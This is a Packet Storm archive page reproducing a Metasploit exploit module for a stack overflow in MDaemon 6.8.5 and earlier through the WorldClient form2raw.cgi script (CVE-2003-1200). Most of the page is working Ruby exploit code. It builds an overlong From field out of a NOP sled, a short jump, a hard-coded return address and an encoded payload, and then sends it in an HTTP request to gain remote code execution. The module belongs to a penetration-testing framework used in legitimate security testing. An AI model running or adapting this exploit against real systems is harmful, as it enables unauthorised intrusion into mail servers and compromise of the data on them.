what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

MDaemon <= 6.8.5 WorldClient form2raw.cgi Stack Overflow

MDaemon <= 6.8.5 WorldClient form2raw.cgi Stack Overflow
Posted Nov 26, 2009
Authored by patrick | Site metasploit.com

This Metasploit module exploits a stack overflow in Alt-N MDaemon SMTP server for versions 6.8.5 and earlier. When WorldClient HTTP server is installed (default), a CGI script is provided to accept html FORM based emails and deliver via MDaemon.exe, by writing the CGI output to the Raw Queue. When X-FromCheck is enabled (also default), the temporary form2raw.cgi data is copied by MDaemon.exe and a stack based overflow occurs when an excessively long From field is specified. The RawQueue is processed every 1 minute by default, to a maximum of 60 minutes. Keep this in mind when choosing payloads or setting WfsDelay... You'll need to wait. Furthermore, this exploit uses a direct memory jump into a nopsled (which isn't very reliable). Once the payload is written into the Raw Queue by Form2Raw, MDaemon will continue to crash/execute the payload until the CGI output is manually deleted from the queue in C:\\MDaemon\\RawFiles\\*.raw.

tags | exploit, web, overflow, cgi
advisories | CVE-2003-1200
SHA-256 | 9a7e8845ddbf7fb0e6b7482b9b8e9b1da4f7b29d2b83ac012d206510dc73a91c

MDaemon <= 6.8.5 WorldClient form2raw.cgi Stack Overflow

Change Mirror Download
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'MDaemon <= 6.8.5 WorldClient form2raw.cgi Stack Overflow',
'Description' => %q{
This module exploits a stack overflow in Alt-N MDaemon SMTP server for
versions 6.8.5 and earlier. When WorldClient HTTP server is installed (default),
a CGI script is provided to accept html FORM based emails and deliver via MDaemon.exe,
by writing the CGI output to the Raw Queue. When X-FromCheck is enabled (also default),
the temporary form2raw.cgi data is copied by MDaemon.exe and a stack based
overflow occurs when an excessively long From field is specified.
The RawQueue is processed every 1 minute by default, to a maximum of 60 minutes.
Keep this in mind when choosing payloads or setting WfsDelay... You'll need to wait.

Furthermore, this exploit uses a direct memory jump into a nopsled (which isn't very
reliable). Once the payload is written into the Raw Queue by Form2Raw, MDaemon will
continue to crash/execute the payload until the CGI output is manually deleted
from the queue in C:\MDaemon\RawFiles\*.raw.
},
'Author' => [ 'patrick' ],
'Arch' => [ ARCH_X86 ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2003-1200' ],
[ 'OSVDB', '3255' ],
[ 'BID', '9317' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 900,
'BadChars' => "\x00\x0a\x0d%\x20@<>&?|,;=`()${}\#!~\"\xff\/\\",
'StackAdjustment' => -3500,
},
'Platform' => ['win'],
'Targets' =>
[
# Patrickw - Tested OK-ish 20090702 w2k
[ 'Universal MDaemon.exe', { 'Ret' => 0x022fcd46 } ], # direct memory jump :(
[ 'Debugging test', { 'Ret' => 0x44434241 } ],
],
'DisclosureDate' => 'Dec 29 2003',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(3000),
],self.class)
end

def check
connect
sock.put("GET / HTTP/1.0\r\n\r\n")
banner = sock.get(-1,3)
disconnect

if (banner =~ /WDaemon\/6\.8\.[0-5]/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end

def exploit
connect

sploit = "GET /form2raw.cgi?From=" # Trigger vuln
sploit << "\x90" * 242 # We set EIP to the middle of this.
sploit << Rex::Arch::X86.jmp_short(61) # Then jump over some junk memory.. 60 is precise but is a badchar.
sploit << [target['Ret']].pack('V') + "c" # Return address, plus 1 byte overwrite for ESP... 'c'
sploit << "&To=#{Rex::Text.rand_text_alpha(12)}@#{Rex::Text.rand_text_alpha(12)}.#{Rex::Text.rand_text_alpha(3)}"
sploit << "&Body=" + "\x90" * 1 # 1 Byte for short jump.
sploit << payload.encoded + " HTTP/1.0"

sock.put(sploit + "\r\n\r\n")
res = sock.get(3,3)

if (res =~ /Message spooled but will be deleted if not FROM a valid account/)
print_status("Payload accepted by WorldClient Form2Raw CGI!")
print_status("Wait for the Raw Queue to be processed (1 to 60 minutes).")
else
print_status("Message not accepted. Vulnerable target?")
end

handler
disconnect
end
end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close